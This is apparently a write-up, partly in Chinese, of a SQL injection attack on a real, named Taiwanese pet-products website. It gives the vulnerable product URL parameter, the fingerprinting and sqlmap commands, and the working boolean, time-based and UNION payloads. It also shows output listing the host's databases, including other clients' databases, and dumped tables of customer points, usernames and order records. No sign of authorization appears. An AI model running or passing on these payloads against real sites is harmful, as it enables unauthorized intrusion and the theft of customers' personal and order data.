URL:https://beyondpet.com.tw/login.php

Vulnerability exists: **sql injection**

Pyload position:https://beyondpet.com.tw/product-details.php?id=141*

漏洞复现

Search CMS&Version

```
┌──(root㉿kali)-[~]
└─# whatweb beyondpet.com.tw
http://beyondpet.com.tw [301 Moved Permanently] Apache, HTTPServer[Apache], IP[43.254.17.35], RedirectLocation[https://beyondpet.com.tw/], Titl
e[301 Moved Permanently]
https://beyondpet.com.tw/ [200 OK] Apache, Bootstrap, Cookies[PHPSESSID], Email[lion.dogpet@gmail.com], Frame, HTML5, HTTPServer[Apache], IP[43
.254.17.35], JQuery[3.4.1], Meta-Author[超越汪喵官網], Modernizr[3.7.1.min], Script[text/javascript], Title[超越汪喵官網], UncommonHeaders[upgr
ade]
```

Playload in SQLmap

```
┌──(root㉿kali)-[~]
└─# sqlmap -u 'https://beyondpet.com.tw/product-details.php?id=141' --dbs --batch
```

Successfully obtained database name

```
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=141' AND (SELECT 7519 FROM (SELECT(SLEEP(5)))rnQk) AND 'HdNp'='HdNp

    Type: UNION query
    Title: Generic UNION query (NULL) - 26 columns
    Payload: id=-2989' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
L,CONCAT(0x716b766a71,0x73476c4941524d675a5756635061657972 4e53794e4348714359456a735975554c5257756175554e,0x716a627871),NULL,NULL,NULL,NULL--
---
[11:35:32] [INFO] the back-end DBMS is MySQL
web application technology: PHP, Apache
back-end DBMS: MySQL >= 5.0.12
[11:35:32] [INFO] fetching database names
available databases [12]:
[*] information_schema
[*] performance_schema
[*] witting1_beyondpet_db
[*] witting1_big-apple_db
[*] witting1_green-hotel_db
[*] witting1_haopinwe_db
[*] witting1_hsinfuyang_db
[*] witting1_ibeerwang_db
[*] witting1_lanstool_db
[*] witting1_schutze_db
[*] witting1_shunyu-oem_db
[*] witting1_unoair_db

[11:35:33] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/beyondpet.com.tw'

[*] ending @ 11:35:33 /2023-07-14/
```

False DBA

```
*] starting @ 11:39:01 /2023-07-14/

11:39:01] [INFO] resuming back-end DBMS 'mysql'
11:39:01] [INFO] testing connection to the target URL
ou have not declared cookie(s), while server wants to set its own ('PHPSESSID=lcq2nf2p6aq...d8jpvrl946'). Do you want to use those [Y/n] Y
qlmap resumed the following injection point(s) from stored session:
--
arameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=141' AND 1247=1247 AND 'fRUO'='fRUO

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=141' AND (SELECT 7519 FROM (SELECT(SLEEP(5)))rnQk) AND 'HdNp'='HdNp

    Type: UNION query
    Title: Generic UNION query (NULL) - 26 columns
    Payload: id=-2989' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NU
,CONCAT(0x716b766a71,0x73476c4941524d675a5756635061657972 4e53794e4348714359456a735975554c5257756175554e,0x716a627871),NULL,NULL,NULL,NULL-- -
--
11:39:03] [INFO] the back-end DBMS is MySQL
eb application technology: Apache, PHP
ack-end DBMS: MySQL >= 5.0.12
11:39:03] [INFO] testing if current user is DBA
11:39:03] [INFO] fetching current user
11:39:04] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
urrent user is DBA: False
11:39:04] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/beyondpet.com.tw'

*] ending @ 11:39:04 /2023-07-14/
```

Attempting to query information from a library

```
┌──(root㉿kali)-[~]
└─# sqlmap -u 'https://beyondpet.com.tw/product-details.php?id=141' -D witting1_beyondpet_db --all -- dump --batch
```

```
3 entries]
+----+--------+----------------------------------+------+------------+---------------------+----------+----------+----------+------------+
| id | userid | con                              | type | time       | uptime              | upuser   | newpoint | oldpoint | changpoint |
+----+--------+----------------------------------+------+------------+---------------------+----------+----------+----------+------------+
| 16 | 4      | <blank>                          | 1    | 1600326586 | 2020/09/17 15:09:46 | kelly    | 452      | 352      | 100        |
| 17 | 4      | <blank>                          | 1    | 1600326630 | 2020/09/17 15:10:30 | kelly    | 500      | 452      | 48         |
| 18 | 218    | A1681172836訂單完成，給予回饋點數 | 1    | 1681186437 | 2023/04/11 12:13:57 | rock0204 | 0        | 0        | 0          |
+----+--------+----------------------------------+------+------------+---------------------+----------+----------+----------+------------+

[11:41:49] [INFO] table 'witting1_beyondpet_db.cost_history' dumped to CSV file '/root/.local/share/sqlmap/output/beyondpet.com.tw/dump/witting
1_beyondpet_db/cost_history.csv'
[11:41:49] [INFO] fetching columns for table 'pro_spe' in database 'witting1_beyondpet_db'
[11:41:49] [INFO] fetching entries for table 'pro_spe' in database 'witting1_beyondpet_db'
Database: witting1_beyondpet_db
Table: pro_spe
[3 entries]
+----+--------+-----+-------+---------------------+--------+
| id | top_id | num | name  | uptime              | upuser |
+----+--------+-----+-------+---------------------+--------+
| 1  | 139    | 1   | 規格1 | 2020/08/18 15:15:22 | admin  |
| 2  | 139    | 2   | 規格2 | 2020/08/18 15:13:42 | admin  |
| 3  | 150    | 0   | 1     | 2022/12/09 06:19:57 | admin  |
+----+--------+-----+-------+---------------------+--------+
```

```
root@kali: ~
| 360 | 142    | 3    | <blank> | 49    | <blank> | A1683793968 |
| 361 | 171    | 1    | <blank> | 1150  | <blank> | A1684151132 |
| 362 | 171    | 1    | <blank> | 1150  | <blank> | A1684177866 |
| 363 | 171    | 1    | <blank> | 1150  | <blank> | A1684720350 |
| 364 | 173    | 1    | <blank> | 630   | <blank> | A1684721680 |
| 365 | 171    | 2    | <blank> | 1150  | <blank> | A1684774741 |
| 366 | 171    | 1    | <blank> | 1150  | <blank> | A1685280695 |
| 367 | 171    | 1    | <blank> | 1150  | <blank> | A1685341388 |
| 368 | 171    | 2    | <blank> | 1150  | <blank> | A1685605258 |
| 369 | 148    | 2    | <blank> | 49    | <blank> | A1685605258 |
| 370 | 141    | 2    | <blank> | 49    | <blank> | A1685605258 |
| 371 | 143    | 1    | <blank> | 49    | <blank> | A1685605258 |
| 372 | 147    | 1    | <blank> | 49    | <blank> | A1685605258 |
| 373 | 141    | 6    | <blank> | 49    | <blank> | A1685716906 |
| 374 | 171    | 2    | <blank> | 1150  | <blank> | A1685716906 |
| 375 | 154    | 48   | <blank> | 45    | <blank> | A1685886187 |
| 376 | 171    | 2    | <blank> | 1150  | <blank> | A1686098984 |
| 377 | 174    | 2    | <blank> | 630   | <blank> | A1686198014 |
| 378 | 151    | 2    | <blank> | 45    | <blank> | A1686198014 |
| 379 | 154    | 4    | <blank> | 45    | <blank> | A1686198014 |
| 380 | 171    | 1    | <blank> | 1150  | <blank> | A1686502090 |
| 381 | 171    | 1    | <blank> | 1150  | <blank> | A1686620958 |
| 382 | 154    | 60   | <blank> | 45    | <blank> | A1686727883 |
| 383 | 166    | 1    | <blank> | 1150  | <blank> | A1686749790 |
| 384 | 163    | 1    | <blank> | 1150  | <blank> | A1686749790 |
| 385 | 171    | 2    | <blank> | 1150  | <blank> | A1686768083 |
| 386 | 173    | 10   | <blank> | 630   | <blank> | A1687587719 |
| 387 | 160    | 10   | <blank> | 45    | <blank> | A1687587719 |
| 388 ^C

[*] ending @ 11:42:04 /2023-07-14/
```